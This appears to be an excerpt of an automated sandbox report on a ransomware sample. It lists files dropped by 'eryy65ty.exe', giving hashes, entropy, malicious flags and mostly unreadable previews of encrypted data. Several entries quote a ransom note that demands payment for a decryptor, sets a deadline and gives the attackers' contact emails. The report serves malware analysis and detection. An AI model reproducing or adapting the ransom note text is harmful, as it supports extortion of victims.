                                                                                                                                                                Preview:......4-......WT.....[....c..O.Pr...T.w.7...f.!.._...v.....0./.N.......@.+S..0...f.?v..+&.......grd....n.XL$...X.G.....o.M...^..<.[..O..323<C.pAi.....n.....N6.^.._c.....E.......E$K.......b........$..H.........P.p".a.a..........R.U.+.d.....{...BH..2d.C..C.......R.LW..7.f.....@\=...m.R......fO.Z..d...m.A..q..:...P.B.x.,W5_..n.F^...A.......q..*.......Z......>s.X..5.IiO_._...Y........i.....<e.$.+......=.o...px....G"Z.|......0.`$_...1#.2.....N.n.L.7.~.-.$..e..1..h1'%.rqf....3....".2..Z+0,xy....F...[jsp.._...Tk`..E..^....$..=.i>.,..H.>.0....5y.$Z...`.t....R.Q.....;..W3..L.8.IDd:Q5$.oa~..vL;.......bI(.j....d..[..r.e..S...-A.....+.V.[....*.Yo..j8....w.......@..ezX..-.......]r~....]i..6....J_3..!Ap.......tg...{.n.-.`.^.4..w6.tCl.r.R..'e.R=tg..GP..?s.8./...t.j.t....>;.jjf.r.g'.......`.......,..u...X^.....R..!8d*R....a1..iPyMbR....1....?.$.C......vS\G..c[.....'rL.D....{....]....;SA}T`OZ..M.....H...Z...k .4.v.....D.I...HC.).!,.....i...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.173449817651083
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:32m/krlT5pPq2dQu7BVvURL/Yqlz1b1HXYwLFXXn9E6DgnLGVwn:329bBKRzl1b1HVH9E6Mn2wn
                                                                                                                                                                MD5:3F12C41DF799536A1C460492A6536D29
                                                                                                                                                                SHA1:4ACD4988F3C4AF3CA2C5E900152BCC8210ABF8D5
                                                                                                                                                                SHA-256:07D32FE56A50FEB39D93CBDEC325E4C9A2C1753B28E5F0150379EAA4A4346A64
                                                                                                                                                                SHA-512:80142896FBEA424579AD5344038AA4120DBEA57E8C80B48E480049F62754945DADCF51F7EA501357A57BCDDFEC4BDF98D9715363AF625356AF4C36DF2C444CB2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..w.....T................z.j.L.^s..1yR.cJ..w...v3.......P.J^z...R(....w.>...'...5...k...>.3...|G..B+..Keg..=....`...\....~...V..xv......6jP6.%.7.w.Lf.....Q........\....a.......U...'..MJ..kC..r..U.&...x...)Yd.......;..TP@....TN...Aj.....M.Y.o?d....^..nW-`5..Z..3.B..qZ.i..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1815658988383122
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:xyMuaaWpXKXEKjRyxkmxgsND48fW6WEbnszE+uqkpDBCDcqk6T2:gMtDkj4msNDhW6WbxkptCDcds2
                                                                                                                                                                MD5:D22446EBC30F63700FC67A6D2CD85D88
                                                                                                                                                                SHA1:B2793A0064A332D7E30E4C528E775A396F1F0EB6
                                                                                                                                                                SHA-256:5CCA5988EB552FB5943A4D06B425838728AAD5017170AB039786565099ADAC57
                                                                                                                                                                SHA-512:C4D3E52300B079397345934B85879EDF4FABFEB13C7874F48BA0A4A56E57DEFE268B6B29BC647D51A5239DA578626B31EE6660EFF53FCCD2B03493D35B2D8581
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:*/....d...........8.v..\+0....T....j......3..<.b....@...:#&....y....V....my...'.........vx#CU<...Tp...^l.a........`.+.].....$..........~.`+..hF......9.gEO..&yZ....@&@.9z@./...;..C.x...N_LW..i.Qu..V.W\.S.Xs.t....,.5..'....C.Ix.c....~...H #h..*.g....2.yy$.'(=.Q.r`.......<.^w.0.M....%.W.$;.x.....IF.>.H^...&.Hi$7.o...7q@".l.*..M..+<]....w|....Om..6t.....8.r..e.ir.6..s...v.!.N..l..a.....r[...7...W...'~W......l....GF..O.F.....g....]..$Lue..Z.0h.......d..Af}...w.g.m.pZ.........E.uH......O.. Q..V.....$.N..|...o%..=*....w......um......jC..0q...L....e"....r..t..9(....#4.d..|.}N..S...?fZ... .H...\.......$ ...n.....x;.l8...*..5.1e.X..&.......f.b:Z...Y..czn...X)1...Y..S.'.}.d..".V_b.p...^n#.d....t.+kaVC@g.M.?.Fsp. G.@.i....7..^*.VP..Wi........\....%.....R(.90a....jh......)._33z..~..p..~....y..|.k@?..c..Q./.....z..?vF..L..<...y.~..:d.kX..7..;v..>7...%..C?/V.b.Ss.y(SxVV.[..<`L.v0].{.....&.....Sv...5.o...XH..K.!J.......=n.....t..m...oR.@.TV..$I.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1553614431760133
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ZNHMu+efbipoR+CAZXBfjWSZqwcTEncd2x0BRlkGZr4xbSZwZ2:ZqunuEUplp0Enc2x0WGZMSZw8
                                                                                                                                                                MD5:B8283948375AB0E620560FB029DD4309
                                                                                                                                                                SHA1:685FC49B2AF0D849130AFEBD68996ED1217DB9DB
                                                                                                                                                                SHA-256:6538161605988F6D38D89D4C687AF23928588B0FE4E407486E03C0A65A0CE75E
                                                                                                                                                                SHA-512:2E0401CA4EDED61F6DAE6A3CE27B17663DE88C00406EF41D63967AC246C85CE12ED5B136C5F05A90260E7A108DF6B052E96A6EB6D83BB4F34FD1797E75893830
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......}y...iQ....|..D...Ho{....j*.L.x...\2O..8.'k..Tz..L........G!.U...[]|..%.K...~*uLs.~.}....P...o.p.h.#........'.^......A...G.....&lV.-.E...l..q.p;|.....7...R.t.r.._.\..g...u.......i.+..<...z....yz.._.........B...d.."..>..tQ.G.%.Y..T$+. jzF..S..'.......i.w.) ..,M...X.e.5....qE.....[.t.....R.#......y..xH.........c_....iY.L.7..9].........i.n.o..".7l..6.8..d...+...h...w(.....l..m.OY..Z...%..;.....u.'.j\.Y.......T.8.....u8."G..<...!..$.%,....-..$..Y;.m....E_]7#...m$.k...w...[Z...%..@..}~5|../..fy]*.L...PV...tU._....UHkc2.&..S...Q.7'.....k..|.x.?...d..kn.$..$`|..n.[...f;.......Q...Bv....h..*e..4v;..d.......2.R..}:.{.lk@.s..'v.A...vm1...@F...kHP.;n.+..z?;..'..-.C`.=.,r..1.N.-.E..a..q...bs..r.u.0..........a..s.'.ET-...a@.$#...~S.l.....I....A......u...+^......P..x...e&G4..1..{dY..j!.2.......s..I6?)...... E..u...%............-d.].......|.Y...S..e.GWqvW..5...B....p....O....N......[..V>.v....rsSK......6..n.lb7....6!......GO%......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.609951725644034
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:RD8L9wzR4dteaH5kUWdUxb7lG7aFhU6eCgUaX66C4pLi4oNduX+pS:RA0EH5kUWalqao6FgX7CWLhoHuX+pS
                                                                                                                                                                MD5:B1748B47CAA91AAE4F0BC41A251B94AC
                                                                                                                                                                SHA1:C52A19232B9B1547BDF0D31F0BF9F1CBA44E8EAF
                                                                                                                                                                SHA-256:2511BF9CFFE043C5D22715107E45CEABE9AA88ACCC45A4EC372BEFBFDFCA487A
                                                                                                                                                                SHA-512:EEB8F7BB597ECB764B2DEA17FD499A49BF5AE4800FDFA54804B4A552B7893E53D80A15B5FE3F48A82B17E22C803E086A8378C2DB0628F054F4350371ADC4468C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:X.<..HE..U.C9......h.igA.iT ..9$..~V|J...U.K).....:..(k..X.....c.Q.u(r-...G..R.i.R%.<2.`....M.Z{.X.u.F..T.].d..l.r.F.u..=.4j..gv..M..L@B...X.....u.GN..@.kd.`0m....:FS.D..e.B....?$|".J..b..-...iV....~...Nf .....8pT...=.Z..H..>....K.....c'......zm..al......Kt.y.N....].y.fk.._4$X...3T...x.I.K.L..BA;.v5.z.UJHNX..H.W`wTj,%.WY..8*.../....+.v........Q4.zV..8.eT.E.%...U#ZN.dP.6P.n.....]#+c\..?,.....3.{..h..`9Y..wb f..$..~......%dYe(..!5A...!...nr}I.y).j.....x...x..Zc.pZ...0M.4@..t@....-.$.M.(....e.|83.J....h.0}..0.r....p.....9H............*...~f....hE|..t.c.s[..p{..\....]..t.b......K.d;.[..sX...l......#fv.Q9.}...9...J......|.Rb{#e..;..V...-BO.p.Yk..`.`r."u........!.n.7..|......e..>.....Ps.n......`Zj..}....F15.^.v.z....\d'.M..D.......-!v{f.m.dH.&._o..=..sJU]..A.H#... 8..L...H.*....Ux.{3..E..R.]6 ZrV..iw.......3.........xp..I..[....X+4".......I...8...#)It+.P.e......qo.v....K..%..nu{?_y.......Fem..w..NA.^....'..O..5...TjH.!|..58...+.V.&..[...X....E..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.609951725644034
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:RD8L9wzR4dteaH5kUWdUxb7lG7aFhU6eCgUaX66C4pLi4oNduX+pS:RA0EH5kUWalqao6FgX7CWLhoHuX+pS
                                                                                                                                                                MD5:B1748B47CAA91AAE4F0BC41A251B94AC
                                                                                                                                                                SHA1:C52A19232B9B1547BDF0D31F0BF9F1CBA44E8EAF
                                                                                                                                                                SHA-256:2511BF9CFFE043C5D22715107E45CEABE9AA88ACCC45A4EC372BEFBFDFCA487A
                                                                                                                                                                SHA-512:EEB8F7BB597ECB764B2DEA17FD499A49BF5AE4800FDFA54804B4A552B7893E53D80A15B5FE3F48A82B17E22C803E086A8378C2DB0628F054F4350371ADC4468C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:X.<..HE..U.C9......h.igA.iT ..9$..~V|J...U.K).....:..(k..X.....c.Q.u(r-...G..R.i.R%.<2.`....M.Z{.X.u.F..T.].d..l.r.F.u..=.4j..gv..M..L@B...X.....u.GN..@.kd.`0m....:FS.D..e.B....?$|".J..b..-...iV....~...Nf .....8pT...=.Z..H..>....K.....c'......zm..al......Kt.y.N....].y.fk.._4$X...3T...x.I.K.L..BA;.v5.z.UJHNX..H.W`wTj,%.WY..8*.../....+.v........Q4.zV..8.eT.E.%...U#ZN.dP.6P.n.....]#+c\..?,.....3.{..h..`9Y..wb f..$..~......%dYe(..!5A...!...nr}I.y).j.....x...x..Zc.pZ...0M.4@..t@....-.$.M.(....e.|83.J....h.0}..0.r....p.....9H............*...~f....hE|..t.c.s[..p{..\....]..t.b......K.d;.[..sX...l......#fv.Q9.}...9...J......|.Rb{#e..;..V...-BO.p.Yk..`.`r."u........!.n.7..|......e..>.....Ps.n......`Zj..}....F15.^.v.z....\d'.M..D.......-!v{f.m.dH.&._o..=..sJU]..A.H#... 8..L...H.*....Ux.{3..E..R.]6 ZrV..iw.......3.........xp..I..[....X+4".......I...8...#)It+.P.e......qo.v....K..%..nu{?_y.......Fem..w..NA.^....'..O..5...TjH.!|..58...+.V.&..[...X....E..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.208944776475054
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:N1NZ0eBp1ySchuL9ZaHWb+7/G0bxldeZPqYCeon:N1cevYkR4GPFCeon
                                                                                                                                                                MD5:E354FC65E1A2A627055FA24D9E80E9DF
                                                                                                                                                                SHA1:AC821BAE615E725D58994CC0795D9E76BBA8EAE7
                                                                                                                                                                SHA-256:0A31E703CF0B9849C252060A3DC735A84556C8CC98C8AF0E7A851B498F900E0F
                                                                                                                                                                SHA-512:E6B0AB62EEF485C0122DE94B791ADB78979CD2D18E17DDE5B4B13AB6998FE129D8EA20DCCE16ABB9A000E3E3E3DD3C00DFAC94E0C6A10FF0D3BB0575751BF255
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Z.K...T..^..<.m..........6b...-.....I.5m.1L...-B..lu.#w.W..xz6..;u.`.Y.j...^.......A.h....Y#[..}..R..13. ..F[..@.......C.W...^..p..o.u5...-.....8"L....._.'..qS..1........;...!u......p.MU..Z.Q.P.].PV....s+.V(.c....e.RRcsr......7.R-.Zf.r.T...>>1.{... ..1..-.S.g...+p0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1553614431760133
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ZNHMu+efbipoR+CAZXBfjWSZqwcTEncd2x0BRlkGZr4xbSZwZ2:ZqunuEUplp0Enc2x0WGZMSZw8
                                                                                                                                                                MD5:B8283948375AB0E620560FB029DD4309
                                                                                                                                                                SHA1:685FC49B2AF0D849130AFEBD68996ED1217DB9DB
                                                                                                                                                                SHA-256:6538161605988F6D38D89D4C687AF23928588B0FE4E407486E03C0A65A0CE75E
                                                                                                                                                                SHA-512:2E0401CA4EDED61F6DAE6A3CE27B17663DE88C00406EF41D63967AC246C85CE12ED5B136C5F05A90260E7A108DF6B052E96A6EB6D83BB4F34FD1797E75893830
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......}y...iQ....|..D...Ho{....j*.L.x...\2O..8.'k..Tz..L........G!.U...[]|..%.K...~*uLs.~.}....P...o.p.h.#........'.^......A...G.....&lV.-.E...l..q.p;|.....7...R.t.r.._.\..g...u.......i.+..<...z....yz.._.........B...d.."..>..tQ.G.%.Y..T$+. jzF..S..'.......i.w.) ..,M...X.e.5....qE.....[.t.....R.#......y..xH.........c_....iY.L.7..9].........i.n.o..".7l..6.8..d...+...h...w(.....l..m.OY..Z...%..;.....u.'.j\.Y.......T.8.....u8."G..<...!..$.%,....-..$..Y;.m....E_]7#...m$.k...w...[Z...%..@..}~5|../..fy]*.L...PV...tU._....UHkc2.&..S...Q.7'.....k..|.x.?...d..kn.$..$`|..n.[...f;.......Q...Bv....h..*e..4v;..d.......2.R..}:.{.lk@.s..'v.A...vm1...@F...kHP.;n.+..z?;..'..-.C`.=.,r..1.N.-.E..a..q...bs..r.u.0..........a..s.'.ET-...a@.$#...~S.l.....I....A......u...+^......P..x...e&G4..1..{dY..j!.2.......s..I6?)...... E..u...%............-d.].......|.Y...S..e.GWqvW..5...B....p....O....N......[..V>.v....rsSK......6..n.lb7....6!......GO%......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):532746
                                                                                                                                                                Entropy (8bit):4.2818558300114296
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6144:bJ5ocEznUpKiPzwhvd25ktpxfhH6aDiBb/o79:bJ+cE3iPzwhv0iZH6aD+bg9
                                                                                                                                                                MD5:FED5F56EEF962D92E25E3A25E1066075
                                                                                                                                                                SHA1:70C5BD646D3837C3B501BBD1B9D41ADF75AD848E
                                                                                                                                                                SHA-256:890C023C4570EC18705A080B33300CCBDC10BEE6A765D3AD8C3217B894896733
                                                                                                                                                                SHA-512:990A3ADD964641698876CB3411A12D00D04D86C5E52D71502A4B921EFF7986A6A36EDD143BB15128CF28CD3142C324D8B038E4D80429D97FC981ADE0BAA68215
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......zy..U..n....I..q.....*^5..(?...._...5...!.8.......b&. .-..?Q*j.F..ga.<&bc...d gQw..-..!.cl.B........)X.c....Q$.[._.BI.S!..c..Hm....n.....-"D h..Z.N\wY.........+.sw.C...mJ....9.`.._.......tp..=........OR....,.T.xB.YE....G...8[Z. !l.9..v.lc....E....=D.B.-TN$...e...a..d..T......!.....&4.a.yY......2..&...|.......~L......&..V.`=.+.f..|.....t.>........~0.u..n/Z.3..O:H..e.....v..1....-..O..4.......6.....t..=).%.=..........#.G.=C-{.....A....i.4.!.VP.Q.z...^..z).).....H.L.`.l....E@K...x.&7.3~..|......0...oYc(F...4@3 .m...v.#-.GK.A.]....B.9..:......a...3..}....*.{.O....*...o.N.|...fi7.?..Q...|.uPo......c..x..4.=.(g....j..c.....oL..Q...dL...vv..D......Ec...0.b.E...^.68.e..YN....0..Kg....l`o... .;..(n.$.7s+.^.(.F.....g..L.n.+y.J..Z2.....L..3...1J....#.\.z.2..~.......'...y.z....OnT.<Vr.g...i...v.{cT*,....Mi..BKVI.mj.KW..!.%Rh.^&I.=..L.R87.!.>L].N...h...l..:,.5......B.VD..s.lv;(...f.wj....{-^...V2*;`....l.{.L....;..b.W..G..T(G.h.J.x..(...G%.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6510133462787782
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:8crqdSpHavmHa4bBxCumDQoWF9SWskFPH5HLeW+z+wYehmT:8crgvsrbBgP+/J43+neY
                                                                                                                                                                MD5:1A8C3D692C8713B0BE42E252EBD01718
                                                                                                                                                                SHA1:7A68074CDABE4EB2624316140995E6966111779B
                                                                                                                                                                SHA-256:20638E3DC754BF3530357BF45435EFE15321D80D4B5A1C774D54542787BB0658
                                                                                                                                                                SHA-512:AF9EF2057F3581B6E7A7BEB15EE22BEC0CBC434FD0A2BD8D2D4C7A7661BE3197AC77D29A221D4ACBE14759A266509989DA4E5E5FEA7188F78F79CE62F7AE223F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:I..;.|......}.....&..ys..Y.:>.:.l...IY......vvJW......4.....Z..v=..@`..*[.....l...{...t........Nx..p.......k.q.f. ...t.#.6.G.........,.b. ..A}.W....v.$x.]...`.'..V......d/...S:3j.,qR......iy.......F.fN..\-.....'..P>...dU>.H.....Q8.l.^Hu....,3.).4..V...Q..-XF//.^....ih.F..A.L...zGJP...5.b..E:..o.^...H.%^y.Y.j.#.$.,V#.Y.....$u....'.......6..k".....3......*%jIV.c.A...e...!...z].Z.pu:..p.1.cA..^....U.K30K..}......b.vI$.b...D..IC.e....k.3....V.......(.Uc!`.S.u.O..4A{...... ;...L..x{........X.....f!..D..g_..?]J|.1..q.QT.z.......BW7..\.2@.VBSLV..s.$...;......f..S.(.0fo..j....Q:...15..<..W.(..*...g'.7....(.} ..~?%..C.JO..I.CB^...,<.'4..f,....%..!.Pj.7.....`.~.m...O..i,H....m......q....h...(....hX.........g..$.....U....C..d.h.<..W..h.....4......]....fkI.^2...Q.Y.>w.O..)u..O+..ZA.....?-$..Z........PO....=...c.'....g'.`..Em.kc.#.ph.&.....Cz..].72.A.i9..c......K.Pmd..D.......Mi.Z.._..&fM....J9.~o..x...SLvo..P^....,.?l.a=.......I...Uz..F.5.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6510133462787782
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:8crqdSpHavmHa4bBxCumDQoWF9SWskFPH5HLeW+z+wYehmT:8crgvsrbBgP+/J43+neY
                                                                                                                                                                MD5:1A8C3D692C8713B0BE42E252EBD01718
                                                                                                                                                                SHA1:7A68074CDABE4EB2624316140995E6966111779B
                                                                                                                                                                SHA-256:20638E3DC754BF3530357BF45435EFE15321D80D4B5A1C774D54542787BB0658
                                                                                                                                                                SHA-512:AF9EF2057F3581B6E7A7BEB15EE22BEC0CBC434FD0A2BD8D2D4C7A7661BE3197AC77D29A221D4ACBE14759A266509989DA4E5E5FEA7188F78F79CE62F7AE223F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:I..;.|......}.....&..ys..Y.:>.:.l...IY......vvJW......4.....Z..v=..@`..*[.....l...{...t........Nx..p.......k.q.f. ...t.#.6.G.........,.b. ..A}.W....v.$x.]...`.'..V......d/...S:3j.,qR......iy.......F.fN..\-.....'..P>...dU>.H.....Q8.l.^Hu....,3.).4..V...Q..-XF//.^....ih.F..A.L...zGJP...5.b..E:..o.^...H.%^y.Y.j.#.$.,V#.Y.....$u....'.......6..k".....3......*%jIV.c.A...e...!...z].Z.pu:..p.1.cA..^....U.K30K..}......b.vI$.b...D..IC.e....k.3....V.......(.Uc!`.S.u.O..4A{...... ;...L..x{........X.....f!..D..g_..?]J|.1..q.QT.z.......BW7..\.2@.VBSLV..s.$...;......f..S.(.0fo..j....Q:...15..<..W.(..*...g'.7....(.} ..~?%..C.JO..I.CB^...,<.'4..f,....%..!.Pj.7.....`.~.m...O..i,H....m......q....h...(....hX.........g..$.....U....C..d.h.<..W..h.....4......]....fkI.^2...Q.Y.>w.O..)u..O+..ZA.....?-$..Z........PO....=...c.'....g'.`..Em.kc.#.ph.&.....Cz..].72.A.i9..c......K.Pmd..D.......Mi.Z.._..&fM....J9.~o..x...SLvo..P^....,.?l.a=.......I...Uz..F.5.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.076708430677401
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:j7PyGk6DkHQpY9jwyLv/kEK1/xBTmOAXSq9kHEPFbE2n:rk1HNlrXmr2x9omFbE2n
                                                                                                                                                                MD5:91BC09FC9003E465310A05507773B9CE
                                                                                                                                                                SHA1:9F858EEC869DEF82DA6C6E021303FD84EC2A327E
                                                                                                                                                                SHA-256:6DB3C9219765D442412B10DEB47358B8D522D1A45D858C789D550CD25132D271
                                                                                                                                                                SHA-512:BE902F040494E060E47A3AD61AFE1A882D0B7C7C891BDF6887202C5A804551BD457D8F0F7CDFB35F54B3C1010E8DC22AE9082E32867A1F7649D6C31897E6C144
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:5...t......y............D?......!]..W.& -=#.....1h..,.n....~..'.H.......Z......wf....n.T...E<..1Wg>.............yJa.;...".Jz.v~.wL;..$..b.}.....nVa..wbV.K..rpXn-.....77......<RL..f.x.l.G.L>".s.|.AYr9....V......B........C.t%.L. ..O.I.j.....=_o..x}.....w.@.1/ "t..k.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):532746
                                                                                                                                                                Entropy (8bit):4.2818558300114296
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6144:bJ5ocEznUpKiPzwhvd25ktpxfhH6aDiBb/o79:bJ+cE3iPzwhv0iZH6aD+bg9
                                                                                                                                                                MD5:FED5F56EEF962D92E25E3A25E1066075
                                                                                                                                                                SHA1:70C5BD646D3837C3B501BBD1B9D41ADF75AD848E
                                                                                                                                                                SHA-256:890C023C4570EC18705A080B33300CCBDC10BEE6A765D3AD8C3217B894896733
                                                                                                                                                                SHA-512:990A3ADD964641698876CB3411A12D00D04D86C5E52D71502A4B921EFF7986A6A36EDD143BB15128CF28CD3142C324D8B038E4D80429D97FC981ADE0BAA68215
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......zy..U..n....I..q.....*^5..(?...._...5...!.8.......b&. .-..?Q*j.F..ga.<&bc...d gQw..-..!.cl.B........)X.c....Q$.[._.BI.S!..c..Hm....n.....-"D h..Z.N\wY.........+.sw.C...mJ....9.`.._.......tp..=........OR....,.T.xB.YE....G...8[Z. !l.9..v.lc....E....=D.B.-TN$...e...a..d..T......!.....&4.a.yY......2..&...|.......~L......&..V.`=.+.f..|.....t.>........~0.u..n/Z.3..O:H..e.....v..1....-..O..4.......6.....t..=).%.=..........#.G.=C-{.....A....i.4.!.VP.Q.z...^..z).).....H.L.`.l....E@K...x.&7.3~..|......0...oYc(F...4@3 .m...v.#-.GK.A.]....B.9..:......a...3..}....*.{.O....*...o.N.|...fi7.?..Q...|.uPo......c..x..4.=.(g....j..c.....oL..Q...dL...vv..D......Ec...0.b.E...^.68.e..YN....0..Kg....l`o... .;..(n.$.7s+.^.(.F.....g..L.n.+y.J..Z2.....L..3...1J....#.\.z.2..~.......'...y.z....OnT.<Vr.g...i...v.{cT*,....Mi..BKVI.mj.KW..!.%Rh.^&I.=..L.R87.!.>L].N...h...l..:,.5......B.VD..s.lv;(...f.wj....{-^...V2*;`....l.{.L....;..b.W..G..T(G.h.J.x..(...G%.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
